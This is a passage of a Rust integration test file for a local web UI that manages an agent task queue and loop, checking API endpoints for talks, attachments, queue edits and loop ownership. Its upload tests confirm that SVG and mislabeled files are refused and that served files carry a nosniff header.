5630 assert_eq!(a.json()["thinking"], true);
5631 let b = f
5632 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
5633 .await;
5634 assert_eq!(b.status, 202, "{}", b.body);
5635 assert_eq!(b.json()["thinking"], true);
5636
5637 let listed = f.get("/api/talks").await.json();
5638 for id in [&id_a, &id_b] {
5639 let view = listed
5640 .as_array()
5641 .unwrap()
5642 .iter()
5643 .find(|talk| talk["id"] == *id)
5644 .unwrap();
5645 assert_eq!(view["thinking"], true, "{listed}");
5646 }
5647 let repeated = f
5648 .post(
5649 &format!("/api/talks/{id_a}/say"),
5650 Some(r#"{"text":"again"}"#),
5651 )
5652 .await;
5653 assert_eq!(repeated.status, 202, "{}", repeated.body);
5654 assert_eq!(repeated.json()["pending"], "again");
5655 }
5656
5657 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
5660
5661 #[tokio::test]
5662 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
5663 let f = Fixture::start().await;
5664 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
5665
5666 let res = f
5667 .post_bytes(
5668 &format!("/api/talks/{id}/attachments"),
5669 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5670 PNG_BYTES,
5671 )
5672 .await;
5673 assert_eq!(res.status, 201, "{}", res.body);
5674 let body = res.json();
5675 assert_eq!(body["name"], "shot.png");
5676 assert_eq!(body["mime"], "image/png");
5677 assert_eq!(body["bytes"], PNG_BYTES.len());
5678 let att_id = body["id"].as_str().expect("id").to_owned();
5679 assert_eq!(
5680 att_id.len(),
5681 32,
5682 "the id must never be a client-suppliable path: {att_id}"
5683 );
5684
5685 let got = f
5686 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
5687 .await;
5688 assert_eq!(got.status, 200, "{}", got.body);
5689 assert_eq!(got.header("content-type"), Some("image/png"));
5690 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
5691 assert_eq!(got.bytes, PNG_BYTES);
5692 }
5693
5694 #[tokio::test]
5695 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
5696 let f = Fixture::start().await;
5697 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
5698
5699 let svg = f
5702 .post_bytes(
5703 &format!("/api/talks/{id}/attachments"),
5704 &[("Content-Type", "image/svg+xml")],
5705 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
5706 )
5707 .await;
5708 assert!(
5709 (400..500).contains(&svg.status),
5710 "svg must be refused: {} {}",
5711 svg.status,
5712 svg.body
5713 );
5714 assert!(svg.body.contains("SVG"), "{}", svg.body);
5715
5716 let text = f
5717 .post_bytes(
5718 &format!("/api/talks/{id}/attachments"),
5719 &[("Content-Type", "text/plain")],
5720 b"just some text",
5721 )
5722 .await;
5723 assert!(
5724 (400..500).contains(&text.status),
5725 "an unlisted type must be refused: {} {}",
5726 text.status,
5727 text.body
5728 );
5729
5730 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
5733 let big = f
5734 .post_bytes(
5735 &format!("/api/talks/{id}/attachments"),
5736 &[("Content-Type", "image/png")],
5737 &oversized,
5738 )
5739 .await;
5740 assert_eq!(
5741 big.status,
5742 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
5743 "{}",
5744 big.body
5745 );
5746 }
5747
5748 #[tokio::test]
5749 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
5750 let f = Fixture::start().await;
5751 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
5752
5753 let res = f
5756 .post_bytes(
5757 &format!("/api/talks/{id}/attachments"),
5758 &[("Content-Type", "image/png")],
5759 b"<html>not a picture</html>",
5760 )
5761 .await;
5762 assert!((400..500).contains(&res.status), "{}", res.body);
5763 }
5764
5765 #[tokio::test]
5766 async fn an_unknown_attachment_id_is_a_404() {
5767 let f = Fixture::start().await;
5768 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
5769
5770 let res = f
5771 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
5772 .await;
5773 assert_eq!(res.status, 404, "{}", res.body);
5774 }
5775
5776 #[tokio::test]
5777 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
5778 let f = Fixture::start().await;
5779 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
5780
5781 let uploaded = f
5782 .post_bytes(
5783 &format!("/api/talks/{id}/attachments"),
5784 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5785 PNG_BYTES,
5786 )
5787 .await;
5788 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5789 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
5790
5791 let res = f
5792 .post(
5793 &format!("/api/talks/{id}/say"),
5794 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
5795 )
5796 .await;
5797 assert_eq!(res.status, 202, "{}", res.body);
5798 let queued = res.json();
5799 let turns = queued["turns"].as_array().expect("turns array");
5800 assert_eq!(
5801 turns.len(),
5802 1,
5803 "an empty body with an attachment is still a turn: {queued}"
5804 );
5805 assert_eq!(turns[0]["who"], "operator");
5806 assert_eq!(turns[0]["body"], "");
5807 let atts = turns[0]["attachments"]
5808 .as_array()
5809 .expect("attachments array");
5810 assert_eq!(atts.len(), 1);
5811 assert_eq!(atts[0]["id"], att_id);
5812 assert_eq!(atts[0]["mime"], "image/png");
5813
5814 let on_disk = f.talks().get(&id).expect("get");
5817 assert_eq!(on_disk.turns[0].attachments.len(), 1);
5818 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
5819 }
5820
5821 #[tokio::test]
5822 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
5823 let f = Fixture::start().await;
5824 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
5825
5826 let res = f
5827 .post(
5828 &format!("/api/talks/{id}/say"),
5829 Some(&format!(
5830 r#"{{"text":"hi","attachments":["{}"]}}"#,
5831 "a".repeat(32)
5832 )),
5833 )
5834 .await;
5835 assert!((400..500).contains(&res.status), "{}", res.body);
5836 assert!(res.body.contains("unknown attachment"), "{}", res.body);
5837
5838 let on_disk = f.talks().get(&id).expect("get");
5839 assert!(
5840 on_disk.turns.is_empty(),
5841 "a rejected attachment id must not partially record the turn: {:?}",
5842 on_disk.turns
5843 );
5844 }
5845
5846 #[tokio::test]
5847 async fn talk_close_makes_the_talk_refuse_further_turns() {
5848 let f = Fixture::start().await;
5849 let id = seed_talk(&f, "20260904-014455-cd34", "open");
5850
5851 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5852 assert_eq!(closed.status, 200, "{}", closed.body);
5853 assert_eq!(closed.json()["status"], "closed");
5854
5855 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
5857 assert_eq!(closed_again.status, 200);
5858 assert_eq!(closed_again.json()["status"], "closed");
5859
5860 let said = f
5861 .post(
5862 &format!("/api/talks/{id}/say"),
5863 Some(r#"{"text":"too late"}"#),
5864 )
5865 .await;
5866 assert_eq!(said.status, 409, "{}", said.body);
5867 }
5868
5869 #[tokio::test]
5870 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
5871 let (_tmp, _repo, f) = talk_fixture().await;
5872 let id = f.post("/api/talks", None).await.json()["id"]
5873 .as_str()
5874 .expect("id")
5875 .to_owned();
5876 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5877 assert_eq!(closed.status, 200, "{}", closed.body);
5878
5879 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5880 assert_eq!(reopened.status, 200, "{}", reopened.body);
5881 assert_eq!(reopened.json()["status"], "open");
5882
5883 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5885 assert_eq!(reopened_again.status, 200);
5886 assert_eq!(reopened_again.json()["status"], "open");
5887
5888 let said = f
5889 .post(
5890 &format!("/api/talks/{id}/say"),
5891 Some(r#"{"text":"still there?"}"#),
5892 )
5893 .await;
5894 assert_eq!(
5895 said.status, 202,
5896 "a reopened talk accepts turns again: {}",
5897 said.body
5898 );
5899 }
5900
5901 #[tokio::test]
5902 async fn talk_reopen_on_an_unknown_id_is_404() {
5903 let f = Fixture::start().await;
5904 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
5905 assert_eq!(res.status, 404, "{}", res.body);
5906 }
5907
5908 #[tokio::test]
5909 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
5910 let f = Fixture::start().await;
5911 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
5912
5913 let deleted = f.delete(&format!("/api/talks/{id}")).await;
5914 assert_eq!(deleted.status, 204, "{}", deleted.body);
5915
5916 let after = f.get(&format!("/api/talks/{id}")).await;
5917 assert_eq!(after.status, 404, "{}", after.body);
5918
5919 let listed = f.get("/api/talks").await.json();
5920 assert!(
5921 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
5922 "a deleted talk must not linger in the list: {listed}"
5923 );
5924 }
5925
5926 #[tokio::test]
5927 async fn talk_delete_on_an_unknown_id_is_404() {
5928 let f = Fixture::start().await;
5929 let res = f.delete("/api/talks/nonexistent-id").await;
5930 assert_eq!(res.status, 404, "{}", res.body);
5931 }
5932
5933 #[tokio::test]
5934 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
5935 let f = Fixture::start().await;
5936 let queue = f.queue();
5937 let mut task = Task::new(
5938 "spent".to_owned(),
5939 "Try again".to_owned(),
5940 PathBuf::from("/repo/magi"),
5941 Source::Human,
5942 );
5943 task.start("20260902-140502-bbbb".to_owned());
5944 task.fail("agent gave up", 9);
5945 queue.put(&mut task).expect("file the task");
5946
5947 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
5948 assert_eq!(held.status, 200);
5949 assert_eq!(held.json()["status_str"], "held");
5950
5951 let released = f
5952 .post(&format!("/api/queue/{}/release", task.id), None)
5953 .await;
5954 assert_eq!(released.status, 200);
5955 assert_eq!(released.json()["status_str"], "queued");
5956 assert_eq!(
5957 released.json()["attempts"],
5958 0,
5959 "release is a real second chance, not an instant re-hold"
5960 );
5961 assert_eq!(
5962 queue.get(&task.id).expect("reload").status,
5963 TaskStatus::Queued,
5964 "the change is on disk, not only in the reply"
5965 );
5966 assert!(
5967 !f.home
5968 .path()
5969 .join("queue")
5970 .join(format!("{}.lock", task.id))
5971 .exists(),
5972 "the claim the mutation took is released again"
5973 );
5974 }
5975
5976 #[tokio::test]
5977 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
5978 let f = Fixture::start().await;
5979 let queue = f.queue();
5980 let mut task = Task::new(
5981 "busy".to_owned(),
5982 "Running right now".to_owned(),
5983 PathBuf::from("/repo/magi"),
5984 Source::Human,
5985 );
5986 queue.put(&mut task).expect("file the task");
5987 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5988
5989 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
5990
5991 assert_eq!(res.status, 409);
5992 assert_eq!(
5993 queue.get(&task.id).expect("reload").status,
5994 TaskStatus::Queued,
5995 "the refused hold changed nothing"
5996 );
5997 }
5998
5999 #[tokio::test]
6000 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6001 let f = Fixture::start().await;
6002 let queue = f.queue();
6003 let mut task = Task::new(
6004 "waiting on the migration".to_owned(),
6005 "Do the thing".to_owned(),
6006 PathBuf::from("/repo/magi"),
6007 Source::Human,
6008 );
6009 queue.put(&mut task).expect("file the task");
6010
6011 let held = f
6012 .post(
6013 &format!("/api/queue/{}/hold", task.id),
6014 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6015 )
6016 .await;
6017 assert_eq!(held.status, 200, "{}", held.body);
6018 assert_eq!(held.json()["status_str"], "held");
6019 assert_eq!(
6020 held.json()["hold_reason"],
6021 "waiting for 20260101-000000-aaaa to land"
6022 );
6023
6024 let listed = f.get("/api/queue").await.json();
6025 assert_eq!(
6026 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6027 "the card reads the reason off the same list route"
6028 );
6029
6030 let mut plain = Task::new(
6033 "no reason given".to_owned(),
6034 "Do another thing".to_owned(),
6035 PathBuf::from("/repo/magi"),
6036 Source::Human,
6037 );
6038 queue.put(&mut plain).expect("file the task");
6039 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6040 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6041 assert!(held_plain.json()["hold_reason"].is_null());
6042
6043 let released = f
6044 .post(&format!("/api/queue/{}/release", task.id), None)
6045 .await;
6046 assert_eq!(released.status, 200);
6047 assert!(
6048 released.json()["hold_reason"].is_null(),
6049 "a release must clear the reason so the next hold does not inherit it"
6050 );
6051 }
6052
6053 #[tokio::test]
6054 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6055 let f = Fixture::start().await;
6056 let queue = f.queue();
6057 let mut older = Task::new(
6058 "filed first".to_owned(),
6059 "x".to_owned(),
6060 PathBuf::from("/repo/magi"),
6061 Source::Human,
6062 );
6063 older.id = "20260101-000001-aaaa".to_owned();
6064 let mut newer = Task::new(
6065 "filed second".to_owned(),
6066 "x".to_owned(),
6067 PathBuf::from("/repo/magi"),
6068 Source::Human,
6069 );
6070 newer.id = "20260101-000002-bbbb".to_owned();
6071 queue.put(&mut older).expect("file older");
6072 queue.put(&mut newer).expect("file newer");
6073
6074 let before = f.get("/api/queue").await.json();
6077 assert_eq!(before[0]["id"], newer.id);
6078 assert_eq!(before[1]["id"], older.id);
6079
6080 let raised = f
6084 .post(
6085 &format!("/api/queue/{}/priority", older.id),
6086 Some(r#"{"priority":10}"#),
6087 )
6088 .await;
6089 assert_eq!(raised.status, 200, "{}", raised.body);
6090 assert_eq!(raised.json()["priority"], 10);
6091
6092 let after = f.get("/api/queue").await.json();
6093 let names: Vec<&str> = after
6094 .as_array()
6095 .unwrap()
6096 .iter()
6097 .map(|t| t["id"].as_str().unwrap())
6098 .collect();
6099 assert_eq!(names[0], older.id, "the raised task now sorts first");
6103 }
6104
6105 #[tokio::test]
6106 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6107 let f = Fixture::start().await;
6108 let queue = f.queue();
6109 let mut task = Task::new(
6110 "in flight".to_owned(),
6111 "x".to_owned(),
6112 PathBuf::from("/repo/magi"),
6113 Source::Human,
6114 );
6115 task.start("20260902-140502-bbbb".to_owned());
6116 queue.put(&mut task).expect("file the task");
6117
6118 let res = f
6119 .post(
6120 &format!("/api/queue/{}/priority", task.id),
6121 Some(r#"{"priority":9}"#),
6122 )
6123 .await;
6124 assert_eq!(res.status, 400, "{}", res.body);
6125 assert!(
6126 res.json()["error"]
6127 .as_str()
6128 .is_some_and(|e| e.contains("running")),
6129 "{}",
6130 res.body
6131 );
6132 assert_eq!(
6133 queue.get(&task.id).expect("reload").priority,
6134 0,
6135 "the refused write must not partially apply"
6136 );
6137 }
6138
6139 #[tokio::test]
6140 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6141 let f = Fixture::start().await;
6142 let queue = f.queue();
6143 let mut task = Task::new(
6144 "old title".to_owned(),
6145 "old instruction".to_owned(),
6146 PathBuf::from("/repo/magi"),
6147 Source::Agent {
6148 run: "20260101-000000-beef".to_owned(),
6149 node: "implement".to_owned(),
6150 },
6151 );
6152 task.runs.push("20260101-000000-beef".to_owned());
6153 queue.put(&mut task).expect("file the task");
6154 let created_at = task.created_at;
6155
6156 let edited = f
6157 .post(
6158 &format!("/api/queue/{}/edit", task.id),
6159 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6160 )
6161 .await;
6162 assert_eq!(edited.status, 200, "{}", edited.body);
6163 let body = edited.json();
6164 assert_eq!(body["title"], "new title");
6165 assert_eq!(body["instruction"], "new instruction");
6166 assert_eq!(body["id"], task.id, "editing must not mint a new id");
6167 assert_eq!(body["created_at"], created_at.to_string());
6168 assert_eq!(
6169 body["source"]["kind"], "agent",
6170 "editing a task an agent filed must not turn it human: {body}"
6171 );
6172 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6173
6174 let reloaded = queue.get(&task.id).expect("reload");
6175 assert_eq!(reloaded.title, "new title");
6176 assert_eq!(reloaded.instruction, "new instruction");
6177 }
6178
6179 #[tokio::test]
6180 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6181 let f = Fixture::start().await;
6182 let queue = f.queue();
6183 let mut task = Task::new(
6184 "in flight".to_owned(),
6185 "do not touch".to_owned(),
6186 PathBuf::from("/repo/magi"),
6187 Source::Human,
6188 );
6189 task.start("20260902-140502-bbbb".to_owned());
6190 queue.put(&mut task).expect("file the task");
6191
6192 let res = f
6193 .post(
6194 &format!("/api/queue/{}/edit", task.id),
6195 Some(r#"{"title":"x","instruction":"y"}"#),
6196 )
6197 .await;
6198 assert_eq!(res.status, 400, "{}", res.body);
6199 assert!(
6200 res.json()["error"]
6201 .as_str()
6202 .is_some_and(|e| e.contains("running")),
6203 "{}",
6204 res.body
6205 );
6206 assert_eq!(
6207 queue.get(&task.id).expect("reload").instruction,
6208 "do not touch",
6209 "the refused edit must not change the file"
6210 );
6211 }
6212
6213 #[tokio::test]
6214 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6215 let f = Fixture::start().await;
6216 let queue = f.queue();
6217 let mut task = Task::new(
6218 "busy".to_owned(),
6219 "Running right now".to_owned(),
6220 PathBuf::from("/repo/magi"),
6221 Source::Human,
6222 );
6223 queue.put(&mut task).expect("file the task");
6224 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6225
6226 let priority = f
6227 .post(
6228 &format!("/api/queue/{}/priority", task.id),
6229 Some(r#"{"priority":9}"#),
6230 )
6231 .await;
6232 assert_eq!(priority.status, 409, "{}", priority.body);
6233
6234 let edit = f
6235 .post(
6236 &format!("/api/queue/{}/edit", task.id),
6237 Some(r#"{"title":"x","instruction":"y"}"#),
6238 )
6239 .await;
6240 assert_eq!(edit.status, 409, "{}", edit.body);
6241 }
6242
6243 #[tokio::test]
6244 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
6245 let f = Fixture::start().await;
6246 let queue = f.queue();
6247 let mut task = Task::new(
6248 "shipped by hand".to_owned(),
6249 "merged outside the loop".to_owned(),
6250 PathBuf::from("/repo/magi"),
6251 Source::Agent {
6252 run: "20260101-000000-b455".to_owned(),
6253 node: "implement".to_owned(),
6254 },
6255 );
6256 task.runs.push("20260101-000000-b455".to_owned());
6257 task.runs.push("20260101-000000-9af4".to_owned());
6258 queue.put(&mut task).expect("file the task");
6259 let created_at = task.created_at;
6260
6261 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6262 assert_eq!(done.status, 200, "{}", done.body);
6263 assert_eq!(done.json()["status_str"], "done");
6264
6265 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
6266 assert_eq!(
6267 reloaded.runs,
6268 ["20260101-000000-b455", "20260101-000000-9af4"]
6269 );
6270 assert_eq!(
6271 reloaded.source,
6272 Source::Agent {
6273 run: "20260101-000000-b455".to_owned(),
6274 node: "implement".to_owned(),
6275 }
6276 );
6277 assert_eq!(reloaded.created_at, created_at);
6278 }
6279
6280 #[tokio::test]
6281 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
6282 let f = Fixture::start().await;
6287 let queue = f.queue();
6288 let mut task = Task::new(
6289 "landed while held".to_owned(),
6290 "x".to_owned(),
6291 PathBuf::from("/repo/magi"),
6292 Source::Human,
6293 );
6294 task.hold_manual(Some("waiting on 3ed9".to_owned()));
6295 queue.put(&mut task).expect("file the held task");
6296
6297 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6298 assert_eq!(done.status, 200, "{}", done.body);
6299 assert_eq!(done.json()["status_str"], "done");
6300 assert!(
6301 done.json()["hold_reason"].is_null(),
6302 "a done task cannot still be waiting on something: {}",
6303 done.body
6304 );
6305 }
6306
6307 #[tokio::test]
6308 async fn unknown_ids_are_json_not_found_on_both_stores() {
6309 let f = Fixture::start().await;
6310
6311 let run = f.get("/api/runs/nosuchrun").await;
6312 let task = f.post("/api/queue/nosuchtask/hold", None).await;
6313
6314 assert_eq!(run.status, 404);
6315 assert_eq!(task.status, 404);
6316 assert!(
6317 run.json()["error"]
6318 .as_str()
6319 .is_some_and(|e| e.contains("run")),
6320 "the error names what was not found: {}",
6321 run.body
6322 );
6323 assert!(
6324 task.json()["error"]
6325 .as_str()
6326 .is_some_and(|e| e.contains("task")),
6327 "the error names what was not found: {}",
6328 task.body
6329 );
6330 }
6331
6332 #[tokio::test]
6333 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6334 let f = Fixture::start().await;
6335
6336 let missing = f.get("/api/health").await.json();
6337 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6338
6339 write_daemon(
6340 f.home.path(),
6341 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6342 );
6343 let stale = f.get("/api/health").await.json();
6344 assert_eq!(
6345 stale["daemon"]["running"], false,
6346 "a minute without a heartbeat is a dead daemon, not a busy one"
6347 );
6348 assert!(
6349 stale["daemon"]["stale_for_secs"]
6350 .as_i64()
6351 .is_some_and(|s| s >= 55),
6352 "staleness is reported so the UI can say how long: {stale}"
6353 );
6354
6355 write_daemon(f.home.path(), Timestamp::now());
6356 let fresh = f.get("/api/health").await.json();
6357 assert_eq!(fresh["daemon"]["running"], true);
6358 assert_eq!(fresh["daemon"]["idle"], false);
6359 assert_eq!(fresh["daemon"]["pid"], 4242);
6360 assert_eq!(fresh["daemon"]["completed"], 7);
6361 assert_eq!(
6362 fresh["daemon"]["current"][0]["task"],
6363 "20260902-140501-aaaa"
6364 );
6365 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6366 }
6367
6368 #[tokio::test]
6369 async fn the_loop_is_not_running_until_something_starts_it() {
6370 let f = Fixture::start().await;
6371
6372 let view = f.get("/api/loop").await.json();
6373 assert_eq!(view["running"], false);
6374 assert_eq!(
6375 view["owned"], false,
6376 "nobody owns a loop that does not exist: {view}"
6377 );
6378 assert_eq!(view["stopping"], false);
6379 assert_eq!(view["last_error"], Value::Null);
6380 assert_eq!(view["daemon"]["running"], false);
6381 assert_eq!(
6382 view["repo"], "/repo/magi",
6383 "the repository a start would use, named before it is started"
6384 );
6385 }
6386
6387 #[tokio::test]
6388 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6389 let f = Fixture::start().await;
6390
6391 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6392 assert_eq!(res.status, 200, "{}", res.body);
6393 let view = res.json();
6394 assert_eq!(view["running"], true);
6395 assert_eq!(
6396 view["owned"], true,
6397 "the loop the UI started is the UI's own to stop: {view}"
6398 );
6399 assert_eq!(
6400 view["merge"],
6401 Value::Null,
6402 "no override was given, so each repository's own config decides"
6403 );
6404
6405 let health = f.get("/api/health").await.json();
6409 assert_eq!(health["loop"]["running"], true, "{health}");
6410 assert_eq!(health["loop"]["owned"], true, "{health}");
6411
6412 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6413 }
6414
6415 #[tokio::test]
6416 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6417 let f = Fixture::start().await;
6418 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6419 assert_eq!(first.status, 200, "{}", first.body);
6420
6421 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6422 assert_eq!(
6423 again.status, 409,
6424 "two loops on one queue race for the same claims: {}",
6425 again.body
6426 );
6427 assert!(
6428 again.json()["error"]
6429 .as_str()
6430 .is_some_and(|e| e.contains("already running the loop")),
6431 "the refusal has to say why: {}",
6432 again.body
6433 );
6434 assert_eq!(
6435 f.get("/api/loop").await.json()["running"],
6436 true,
6437 "and the loop that was already running is untouched by it"
6438 );
6439
6440 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6441 }
6442
6443 #[tokio::test]
6444 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6445 let f = Fixture::start().await;
6446 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6447
6448 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6449 assert_eq!(
6450 res.status, 200,
6451 "the answer must not wait for the loop: a run in flight is tens of \
6452 minutes and the operator is holding a phone: {}",
6453 res.body
6454 );
6455
6456 let view = settled(&f, |v| v["running"] == false).await;
6457 assert_eq!(view["owned"], false);
6458 assert_eq!(
6459 view["stopping"], false,
6460 "a loop that has stopped is not still stopping: {view}"
6461 );
6462 assert_eq!(
6463 view["last_error"],
6464 Value::Null,
6465 "a loop that was asked to stop did not fail: {view}"
6466 );
6467
6468 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6471 assert_eq!(twice.status, 200, "{}", twice.body);
6472 }
6473
6474 #[tokio::test]
6475 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6476 let f = Fixture::start().await;
6477 write_daemon(f.home.path(), Timestamp::now());
6480
6481 let view = f.get("/api/loop").await.json();
6482 assert_eq!(view["running"], false, "not in this process: {view}");
6483 assert_eq!(view["owned"], false, "and not this process's to control");
6484 assert_eq!(
6485 view["daemon"]["running"], true,
6486 "but a loop is alive somewhere, which is what the UI must say"
6487 );
6488 assert_eq!(view["daemon"]["pid"], 4242);
6489
6490 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6491 let res = f.post("/api/loop", Some(body)).await;
6492 assert_eq!(
6493 res.status, 409,
6494 "neither button may pretend to work on someone else's loop: {}",
6495 res.body
6496 );
6497 assert!(
6498 res.json()["error"]
6499 .as_str()
6500 .is_some_and(|e| e.contains("4242")),
6501 "the refusal has to name the process the operator must go to: {}",
6502 res.body
6503 );
6504 }
6505 assert_eq!(
6506 f.get("/api/loop").await.json()["running"],
6507 false,
6508 "and the refusal started nothing"
6509 );
6510 }
6511
6512 #[tokio::test]
6513 async fn a_stale_status_file_is_not_a_foreign_owner() {
6514 let f = Fixture::start().await;
6515 write_daemon(
6516 f.home.path(),
6517 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6518 );
6519
6520 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6521 assert_eq!(
6522 res.status, 200,
6523 "a daemon killed a minute ago must not lock the loop out of its \
6524 own home for good: {}",
6525 res.body
6526 );
6527 assert_eq!(res.json()["running"], true);
6528
6529 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6530 }
6531
6532 #[tokio::test]
6533 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6534 let f = Fixture::start().await;
6535 let before = f.get("/api/health").await.json()["loop_rev"]
6536 .as_u64()
6537 .expect("a loop revision");
6538
6539 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6540
6541 let after = f.get("/api/health").await.json()["loop_rev"]
6542 .as_u64()
6543 .expect("a loop revision");
6544 assert!(
6545 after > before,
6546 "the loop is in-process state, so this counter is the only thing \
6547 that tells a second device the first one started it: {before} -> \
6548 {after}"
6549 );
6550
6551 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6552 }
6553
6554 #[tokio::test]
6555 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6556 let f = Fixture::with_loop(launch_broken).await;
6557
6558 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6559 assert_eq!(
6560 res.status, 200,
6561 "starting it is not the failure: {}",
6562 res.body
6563 );
6564
6565 let view = settled(&f, |v| v["last_error"].is_string()).await;
6566 assert_eq!(
6567 view["running"], false,
6568 "a loop that died must not read as running, or the operator has \
6569 nothing to press: {view}"
6570 );
6571 assert_eq!(view["owned"], false);
6572 assert!(
6573 view["last_error"]
6574 .as_str()
6575 .is_some_and(|e| e.contains("read-only file system")),
6576 "the phone is where a loop that died at 3am is visible: {view}"
6577 );
6578
6579 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6582 assert_eq!(again.status, 200, "{}", again.body);
6583 assert_eq!(
6584 again.json()["last_error"],
6585 Value::Null,
6586 "a fresh start does not keep showing why the last one died"
6587 );
6588 }
6589
6590 #[tokio::test]
6602 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6603 let home = TempDir::new().expect("temp home");
6604 let runs = home.path().join("runs");
6605 std::fs::create_dir_all(&runs).expect("runs dir");
6606 let ui = Ui::new(
6607 Queue::at(home.path().join("queue")),
6608 Questions::at(home.path().join("questions")),
6609 Talks::at(home.path().join("talks")),
6610 runs,
6611 home.path().to_path_buf(),
6612 PathBuf::from("/repo/magi"),
6613 )
6614 .with_worktrees_root(home.path().join("wt"))
6615 .with_launch(launch_knocking_on_the_way_out);
6616 let looping = ui.looping();
6617 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6618 .await
6619 .expect("bind loopback");
6620 let addr = listener.local_addr().expect("local addr");
6621 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6622 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6623
6624 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6625 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6626
6627 let bound = std::sync::Mutex::new(None);
6630 hand_over(home.path(), &looping, served, || {
6631 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
6632 *bound.lock().expect("bound") = Some(attempt);
6633 Ok(())
6634 })
6635 .await
6636 .expect("hand over");
6637
6638 assert_eq!(
6639 *PARK_HEARD.lock().expect("park heard"),
6640 Some(200),
6641 "the deck must answer while the loop is parking"
6642 );
6643 let attempt = bound
6644 .lock()
6645 .expect("bound")
